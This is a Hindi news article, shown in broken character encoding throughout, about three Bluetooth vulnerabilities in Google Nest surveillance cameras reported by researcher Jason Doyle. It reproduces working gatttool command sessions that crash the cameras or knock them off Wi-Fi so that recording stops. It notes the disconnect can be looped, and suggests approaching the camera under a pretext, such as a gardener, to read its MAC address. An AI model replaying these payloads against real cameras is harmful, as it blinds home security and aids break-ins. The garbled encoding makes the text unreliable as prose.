рд▓реЛрдЧреЛрдВ рдХреЛ Google AI Nest рдЖрдЙрдЯрдбреЛрд░ рдХреИрдо рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдХреГрддреНрд░рд┐рдо рдмреБрджреНрдзрд┐рдорддреНрддрд╛ рдЖрд╕рд╛рди рд╣реИрдХрд┐рдВрдЧ рд╕реЗ рдирд╣реАрдВ рдмрдЪрд╛рддреА рд╣реИрд╕рдмрд╕реЗ рдЙрдЪреНрдЪ рддрдХрдиреАрдХ рд╕рдВрд░рдХреНрд╖рдг рд╣рдореЗрд╢рд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЬрдЯрд┐рд▓рддрд╛ рдХреЛ рдЬреЛрдбрд╝рдХрд░, рдЖрдк рдирдП рд╣рдорд▓реЗ рд╡реИрдХреНрдЯрд░ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдЕрдкрд╣рд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкреБрд░рд╛рдиреА "рд▓реЛрд╣реЗ рдХреА рдЪреАрдЬреЛрдВ" рдХреА рддреБрд▓рдирд╛ рдореЗрдВ
рд░реЗрдбрд┐рдпреЛ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рд╕рдмрд╕реЗ рдорд╣рдВрдЧреА рдФрд░ рдЖрдзреБрдирд┐рдХ
рдХрд╛рд░реЛрдВ рдХреЛ рдЪреЛрд░реА рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред рдЕрдиреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рд╛рде рдЙрд╕реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред
рдкрдЯрд╛рдЦреЗ рдХрд╛ рдПрдХ рдЕрдиреНрдп рд╢рд┐рдХрд╛рд░ рдлреИрдВрд╕реА рдЧреВрдЧрд▓ рдиреЗрд╕реНрдЯ рдирд┐рдЧрд░рд╛рдиреА рдХреИрдорд░реЗ рдереЗ - рдбреНрд░реЙрдкрдХреИрдо, рдбреНрд░реЙрдкрдХреИрдо рдкреНрд░реЛ, рдиреЗрд╕реНрдЯ рдХреИрдо рдЖрдЙрдЯрдбреЛрд░ рдФрд░ рдиреЗрд╕реНрдЯ рдХреИрдо рдореЙрдбрд▓ред рдЙрдиреНрд╣реЗрдВ рд╣реИрдХ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдб рдкрд╣рд▓реЗ рд╣реА
GitHub рдкрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛
рд╣реИ , рдФрд░ Google рдиреЗ рдЕрднреА рддрдХ рдкреИрдЪ рдЬрд╛рд░реА рдирд╣реАрдВ рдХрд┐рдП рд╣реИрдВред рдЖрдк рдЖрдЬ (рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ) рдЕрдкрдиреЗ рдирд┐рдЧрд░рд╛рдиреА рдХреИрдорд░реЛрдВ рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рддреАрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрд╛рд╢рд┐рдд рдХреА рдЧрдИ рд╣реИ, рдЙрдирдореЗрдВ рд╕реЗ рд╕рднреА рдмреНрд▓реВрдЯреВрде 4.0 рдПрд▓рдИ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреИрдорд░реЗ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ (рд╡рд┐рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╕реАрдорд╛ рд▓рдЧрднрдЧ 100 рдореАрдЯрд░ рд╣реИ)ред рдмреНрд▓реВрдЯреВрде рд╣рдореЗрд╢рд╛ рдЗрди рдХреИрдорд░реЛрдВ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд, рдЖрдорддреМрд░ рдкрд░ рдЗрд╕реЗ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рднреА рдмрдВрдж рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИред
рдкрд╣рд▓реА рднреЗрджреНрдпрддрд╛ рдмреНрд▓реВрдЯреВрде рд╡рд┐рдХрд▓реНрдк рдкрд░ SSID рдХреЗ рд╕рд╛рде рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╣реИред рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдХрд╛рд░рдг рдмрдирдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреИрдорд░реЗ рдкрд░ рдЧрд▓рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдПрд╕рдПрд╕рдЖрдИрдбреА рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рдпрд╣рд╛рдВ рдХреИрдорд░реЗ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рдПрдХ рдмрд╛рд░ рдореЗрдВ 1 рдФрд░ 16 рдмрд╛рдЗрдЯреНрд╕ рдХреА рдПрд╕рдПрд╕рдЖрдИрдбреА рд▓рдВрдмрд╛рдИ рд╕реЗрдЯ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИред
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
рдирддреАрдЬрддрди, рдХреИрдорд░рд╛ рдмрдВрдж рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЗ рдмрд╛рдж рд░рд┐рдмреВрдЯ, рдФрд░ рдЕрдкрдиреЗ рд╕рд╛рдорд╛рдиреНрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛ред
рджреВрд╕рд░реА рднреЗрджреНрдпрддрд╛ рдкрд╣рд▓реЗ рдХреА рддрд░рд╣ рд╣реИ, рдХреЗрд╡рд▓ рдпрд╣рд╛рдВ рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдЧрд▓рдд рд▓рдВрдмрд╛рдИ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рднреЗрдЬрдиреЗ рдХреЗ рдХрд╛рд░рдг рд╣реЛрддрд╛ рд╣реИ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рддреАрди рдмрд╛рдЗрдЯреНрд╕ рдФрд░ рдПрдХ рдмрд╛рдЗрдЯ)ред рдкрд░рд┐рдгрд╛рдо рд╕рдорд╛рди рд╣реИ - рдХрд╛рдо рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рд╡рд╛рдкрд╕реА рдХреЗ рд╕рд╛рде рддреНрд░реБрдЯрд┐ рдХреЗ рдмрд╛рдж рдХреИрдорд░рд╛ рд░рд┐рдмреВрдЯ рд╣реЛрддрд╛ рд╣реИред
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
рддреАрд╕рд░реА рднреЗрджреНрдпрддрд╛ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИред рдпрд╣ рдЖрдкрдХреЛ рд╡рд╛рдИрдлрд╛рдИ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдХреИрдорд░реЗ рдХреЛ рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдПрд╕рдПрд╕рдЖрдИрдбреА рд╣реИред рдЗрди рдХреИрдорд░реЛрдВ рдореЗрдВ, рд╕реНрдерд╛рдиреАрдп рд╡реАрдбрд┐рдпреЛ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреИрдорд░рд╛ рд╡рд╛рдИрдлрд╛рдИ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдм рдХреБрдЫ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ - рдкреВрд░реЗ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рддрджрдиреБрд╕рд╛рд░, рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдбрд┐рд╕реНрдХрдиреЗрдХреНрд╢рди рдХреЗ рджреМрд░рд╛рди, рд╡реАрдбрд┐рдпреЛ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХреЛ рд╕рд╣реЗрдЬрд╛ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣реИрдХ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╡реАрдбрд┐рдпреЛ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХреЗ рдмрд╛рдж рдХреИрдорд░реЗ рдХреЛ рд╕реЗрд╡рд╛ рдореЗрдВ рд╡рд╛рдкрд╕ рдЖрдиреЗ рдореЗрдВ рд▓рдЧрднрдЧ 60-90 рд╕реЗрдХрдВрдб рд▓рдЧрддреЗ рд╣реИрдВред рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рдореЗрдВ, рдпрд╣ рдЗрддрдирд╛ рд▓рдВрдмрд╛ рдЕрдВрддрд░рд╛рд▓ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рд╣реИрдХ рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдЕрд╡рдзрд┐ рдХреЗ рд▓рд┐рдП рд▓реВрдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреИрдорд░реЗ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдореИрдХ рдкрддреЗ (18: B4: 30: 5D: 00: 8) рдХрд╛ рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдХреЗрд╡рд▓ рдХреИрдорд░рд╛ рдмреЙрдбреА рдкрд░ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЕрднреНрдпрд╛рд╕ рдореЗрдВ рдЖрдкрдХреЛ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдХрд╛рдлреА рдирдЬрд╝рджреАрдХреА рджреВрд░реА рдкрд░ рдХреИрдорд░рд╛ рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд▓реЙрди рдШрд╛рд╕ рдХрд╛рдЯрдиреЗ рдХреА рдорд╢реАрди рдХреА рдЖрдбрд╝ рдореЗрдВ, рднрд╡рд┐рд╖реНрдп рдХреЗ рд╢рд┐рдХрд╛рд░ рдХреЗ рдорд░рдореНрдордд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдпрд╛ рджреЛрд╕реНрддред
рдиреЗрд╕реНрдЯ рдЖрдЙрдЯрдбреЛрд░ рдХреИрдо рдХреА рдПрдХ рддрд╕реНрд╡реАрд░ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдореИрдХ рдкрддрд╛ рдХреИрдорд░рд╛ рдмреЙрдбреА (рдХреНрдпреВрдЖрд░ рдХреЛрдб рдХреЗ рдКрдкрд░ рдХреА рд░реЗрдЦрд╛) рдкрд░ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рд╕рдордЭрджрд╛рд░реА рд╕реЗ рдЗрд╕реЗ рдПрдХ рдкрд╛рд╡рд░ рдХреЗрдмрд▓ рдХреЗ рдкреАрдЫреЗ рдЫрд┐рдкрд╛ рджрд┐рдпрд╛рдХреИрдорд░реЛрдВ рдореЗрдВ рддреАрди рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдирд╡реАрдирддрдо рдХреИрдорд░рд╛ рдлрд░реНрдорд╡реЗрдпрд░ (5.2.1) рдореЗрдВ рдореМрдЬреВрдж рд╣реИрдВред рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮ рдЬреЗрд╕рди рдбреЙрдпрд▓ рдиреЗ рдЙрдиреНрд╣реЗрдВ рдЖрдЦрд┐рд░реА рдЧрд┐рд░рд╛рд╡рдЯ рдореЗрдВ рдкрд╛рдпрд╛ред рдЙрдирдХрд╛ рдХрд╣рдирд╛ рд╣реИ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ 26 рдЕрдХреНрдЯреВрдмрд░ 2016 рдХреЛ Google рдХреЛ рд╕реВрдЪрдирд╛ рджреА рдереА, рдЗрд╕рд▓рд┐рдП рдЕрдм рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдкреНрд░рдХрдЯреАрдХрд░рдг рдХрд╛ рд╕рдордп рд╕рднреА рдХреЗ рд▓рд┐рдП рдЖ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдорд╛рдирдХ рдЕрднреНрдпрд╛рд╕ рд╣реИ рдпрджрд┐ рдирд┐рд░реНрдорд╛рддрд╛ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рдбрд╝рдмрдбрд╝реА рдореЗрдВ рд╣реИ рдпрд╛ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдЙрдЪрд┐рдд рд╕рдордп рдХреЗ рднреАрддрд░ рдмрдЧ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рдирд╣реАрдВ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд▓рдЧрднрдЧ рдкрд╛рдВрдЪ рдорд╣реАрдиреЗ рдмреАрдд рдЪреБрдХреЗ рд╣реИрдВред
Google рдЖрдорддреМрд░ рдкрд░ рдЕрдкрдиреЗ рдЙрддреНрдкрд╛рджреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреБрд░рд╕реНрдХрд╛рд░ рджреЗрддрд╛ рд╣реИред
Google рдХреА рднреЗрджреНрдпрддрд╛ рдЗрдирд╛рдо рднреА рдиреЗрд╕реНрдЯ рдХреИрдордХреЛрд░реНрдбрд░ рддрдХ рдлреИрд▓реА рд╣реБрдИ рд╣реИред рд╕рдЪ рд╣реИ, рдиреЗрд╕реНрдЯ рддреАрд╕рд░реЗ рд╕рдмрд╕реЗ рдкреНрд░рддрд┐рд╖реНрдард┐рдд рд╢реНрд░реЗрдгреА рдореЗрдВ рд╣реИ, рдЬрд╣рд╛рдВ рдЕрдзрд┐рдХрддрдо рдЗрдирд╛рдо рдХреЗрд╡рд▓ $ 5,000 (рдмрд╛рдХреА рдЙрддреНрдкрд╛рджреЛрдВ рдХреЗ рд▓рд┐рдП - $ 31,337) рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕ рддреАрд╕рд░реА рд╢реНрд░реЗрдгреА рдореЗрдВ рдореМрди рдХреА рдЫрд╣ рдорд╣реАрдиреЗ рдХреА рдЕрд╡рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдиреЛрдЯ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐ Google рдиреЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ 90 рджрд┐рдиреЛрдВ (
1 ,
2 ) рдХреЗ рдмрд╛рдж рд╡рд┐рдВрдбреЛрдЬ рдФрд░ рдПрдЬ рдкрд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ 0day рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд┐рдпрд╛ред
рдЬреЗрд╕рди рдбреЙрдпрд▓ рдЫрд╣ рдорд╣реАрдиреЗ рдХреА рдЕрд╡рдзрд┐ (26 рдЕрдХреНрдЯреВрдмрд░ - 17 рдорд╛рд░реНрдЪ) рдХреЛ рдмрд░реНрджрд╛рд╢реНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рд╡рд╣ рдкреБрд░рд╕реНрдХрд╛рд░ рдХрд╛ рджрд╛рд╡рд╛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рд╕рд╛рдорд╛рдиреНрдп рдЕрднреНрдпрд╛рд╕ рдХреЗ рд╡рд┐рдкрд░реАрдд, Google рдиреЗ рд╢реЛрдзрдХрд░реНрддрд╛ рдХреЛ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорд╛рдирд┐рдд рд╕рдордп рд╕реАрдорд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдФрд░ рдЙрд╕рдХреЗ рд╕рд╛рде рдкрддреНрд░рд╛рдЪрд╛рд░ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд┐рдпрд╛ред рдЙрд╕реА рд╕рдордп, рд╕реНрдерд┐рддрд┐ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдПрдХ рд╕реВрддреНрд░
рдиреЗ рдж рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрддрд╛рдпрд╛ рдХрд┐ рдкреИрдЪ рд▓рдЧрднрдЧ рддреИрдпрд╛рд░ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЬреЗрд╕рди рдЕрдкрдиреЗ рдЗрдирд╛рдо рдХреЛ рдЬреНрдпрд╛рджрд╛ рдмрд░реНрджрд╛рд╢реНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛ред
рд╡реИрд╕реЗ, рд╡рд╛рдИрдлрд╛рдИ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрдиреЗ рдкрд░ рдХреБрдЫ рдЕрдиреНрдп рд╕рдорд╛рди рдирд┐рдЧрд░рд╛рдиреА рдХреИрдорд░реЗ рдмреНрд▓реВрдЯреВрде рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдЗрд╕ рддрд░рд╣ рд╕реЗ рджрд░рд╛рд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд▓реЙрдЬрд┐рдЯреЗрдХ рд╕рд░реНрдХрд▓)ред Google, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕рд░рд▓ рдЪрд╛рд▓ рдХреЗ рд▓рд┐рдП рднреА рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред